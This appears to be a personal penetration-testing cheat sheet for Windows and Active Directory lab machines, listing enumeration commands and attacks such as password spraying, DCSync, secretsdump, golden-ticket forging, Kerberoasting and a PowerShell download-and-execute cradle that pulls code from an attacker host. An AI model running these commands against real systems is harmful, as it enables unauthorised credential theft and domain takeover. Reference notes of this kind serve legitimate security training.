

Port scan:

- * Basic scan: `nmap -v -sC -sV -oA nmap/<boxname> <IP>`
 - * Try `--script safe` for kicks
- * Full scan: `nmap -v -p- -oA nmap/<boxname> <IP>`

SMB:

- * Anonymous lookup: `smbclient -L <IP>`
- * List shares: `smbmap -H <IP>`
- * List contents: `smbmap -R <share> -H <IP>`
- * Download file: `smbmap -R <share> -H <IP> -A <filename> [-d <domain> -u <user> -p <pw>]`
 - * Check for GPP (Groups.xml)
- * The whole bag: `enum4linux <IP>`
- * Spray: `crackmapexec smb <IP> -u <user/userlist> -p <pw/pwlist>`
- * Spray hash: `crackmapexec smb <IP> -u <user/userlist> -H <hash>`
- * Spray shares: `crackmapexec smb <IP> -u <user/userlist> -p <pw/pwlist> --shares`
- * Get users: `GetADUsers.py -all -user <user> -dc-ip <IP>`

Hosting:

- * SMB: `impacket-smbserver <share> <dir> -smb2support -user <user> -password <pw>`
 - * Create pass by `$pass = ConvertTo-SecureString '<pw>' -AsPlainText -Force`
 - * Then cred by `$cred = New-Object System.Management.Automation.PSCredential(<user>,$pass)`
 - * Then drive by `New-PSDrive -Name <user> -PSProvider FileSystem -Credential $cred -Root \\<ip>\<share>`
- * HTTP: `python3 -m http.server 80`
 - * Download by `IEX(New-Object Net.WebClient).downloadString('<URL>')`

Privesc:

- * winPEAS: `.\winPEASany.exe`
- * Bloodhound: `.\SharpHound.exe -c all`
 - * Delete `/usr/share/neo4j/data/dbms/auth` to reset password
 - * In Bloodhound GUI, type in user, right click, mark as owned
 - * Shortest Path from Owned Principals usually best start
 - * nslookup is good for looking up boxes in Bloodhound
 - * Connections will give you "abuse info" which is useful
 - * Try Find Principals with DCSync Rights
- * Create user: `net user <user> <pass> /add /domain`
- * View group: `net group <groupname>`
- * View domain: `net user /domain`
- * Add to group: `net group <groupname> /add <user>`
- * ACL DCSync attack: `Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<dc>,DC=<dc>" -PrincipalIdentity <user> -Rights DCSync`
- * Secret dump: `secretsdump.py <domain>/<user>:<pw>@<ip>`
- * PSEXEC: `psexec.py [-hashes <hashes>] <user>@<ip>`
 - * 31d6cfe... is a blank hash
- * Runas: `runas /netonly /user:<domain>\<user> cmd`

Kerberos:

- * Get non-preauth users: `GetNPUsers.py -dc-ip <DC_IP> -request <DOMAIN> [-format hashcat]`
 - * Domain must include trailing slash, i.e. 'htb.local/'
- * Get DomainSID: `Get-ADDomain <domain>`
- * Golden ticket: `ticketer.py -nthash <hash> -domain-sid <sid> -domain <domain> <user>`
 - * Then export `KRB5CCNAME=<user>.ccache`
 - * Then `psexec.py <domain>/<user>@<hostname> -k -no-pass`
 - * Consider adding entry to `/etc/hosts` if hangs
 - * If clock skew, then `'date -s <date>'` can fix skew (view nmap clock skew)

- * User enumeration: kerbrute userenum --dc <IP> -d <domain> users.txt
- * Kerberoast: GetUserSPNs.py -request -dc-ip <IP> <domain>/<user>

RPC:

- * Anonymous lookup: rpcclient -U '' <IP>
 - * `enumdomusers` lists users, `queryuser <RID>` gives details
 - * `queryusergroups <RID>` gives groups, `querygroup <GROUP_RID>` gives details

WinRM:

- * Login: evil-winrm -u <user> -p <pw> -i <ip>
- * Spray: crackmapexec winrm <IP> -u <user/userlist> -p <pw/pwlist>

DNS:

- * Lookup: nslookup
 - * `server <target IP>` sets server, then `<lookup IP>` looks up
 - * check 127.0.0.1, 127.0.0.2, <target IP>
- * Mass reverse lookup: dnsrecon -d <target IP> -r 10.0.0.0/8

Ping:

- * Ping: ping <IP>
 - * ttl~128 for Windows, ~64 for Linux, ~256 for Cisco infrastructure

LDAP:

- * Lookup: ldapsearch -h <IP> -x
- * DN lookup: ldapsearch -h <IP> -x -s base namingcontexts
- * Lookup in DC: ldapsearch -h <IP> -x -b "DC=<dc>,DC=<dc>"
- * Query: ldapsearch -h <IP> -x -b "DC=<dc>,DC=<dc>" "(objectClass=<Person or User>)"
- * Query for usernames: ldapsearch -h <IP> -x -b "DC=<dc>,DC=<dc>" "(objectClass=Person)" sAMAccountName

Brute force:

- * Apply rules: hashcat --force --stdout <pwlist> -r /usr/share/hashcat/rules/best64.rule
- * Get policy: crackmapexec smb <IP> --pass-pol [-u '' -p '']
- * Get policy: polenum -u '' -p '' [-d <domain>] <IP>
- * Example hashes: hashcat --example-hashes
- * Crack: hashcat -m <MODE> <hashfile> <wordlist> [-r <rules>]

Ports:

- * 22: SSH
- * 53: DNS
- * 80: HTTP
- * 88: Kerberos
- * 135: RPC
- * 139: RPC
- * 389: LDAP
- * 443: HTTPS
- * 593: RPC-HTTP
- * 636: LDAPS
- * 3269: GC-SSL

Misc:

- * Powershell sometimes runs in 32-bit! Use C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe
- * Download: Invoke-WebRequest -Uri "http://10.10.14.13/winPEASany.exe" -OutFile "wp.exe"
- * Try Sherlock after winPEAS

- * Check default passwords, always always always!
- * Check user history
- * Add extensions to gobuster, especially if it's a .NET server (.aspx)!